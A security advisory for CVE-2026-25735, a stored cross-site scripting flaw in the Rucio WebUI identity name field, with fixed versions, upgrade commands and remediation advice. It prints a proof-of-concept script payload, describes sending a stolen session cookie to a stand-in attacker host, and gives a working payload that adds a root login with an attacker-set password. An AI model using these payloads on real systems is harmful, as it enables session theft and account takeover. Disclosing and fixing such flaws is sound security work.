rucio-webui
Affected
- introduced
0, fixed35.8.3(ecosystem)
Fixed versions
35.8.3
Fix
- Fixed version
35.8.3pip install --upgrade rucio-webui==35.8.3
Advisory
Also known as: CVE-2026-25735, PYSEC-2026-3054
Rucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity Name
Summary
A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
---
Details
The identity name is stored and later rendered without output encoding.
Create Path:
Admin > Account Management > _ACCOUNT NAME_ > Add Account Identity
Trigger Path:
Admin > Account Management > _ACCOUNT NAME_
(https://127.0.0.1:8443/ui/account?account=pentest)
Request
POST /proxy/accounts/pentest/identities HTTP/1.1
...
{"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}
Response
HTTP/1.1 201 CREATED
...
Created
Storing XSS payload in account identity name
<img width="1385" height="807" alt="Storing XSS payload in account identity name" src="https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce" />
Triggering XSS payload when viewing account
<img width="1395" height="745" alt="Triggering XSS payload when viewing account" src="https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c" />
---
Impact
Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by:
An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass
<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
---
Remediation / Mitigation
All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include:
> Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)
---
References
Medium Basis: The source's own band: MODERATE
0, fixed 35.8.3 (ecosystem)35.8.3
35.8.3pip install --upgrade rucio-webui==35.8.336.0.0rc1, fixed 38.5.4 (ecosystem)38.5.4
38.5.4pip install --upgrade rucio-webui==38.5.439.0.0rc1, fixed 39.3.1 (ecosystem)39.3.1
39.3.1pip install --upgrade rucio-webui==39.3.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0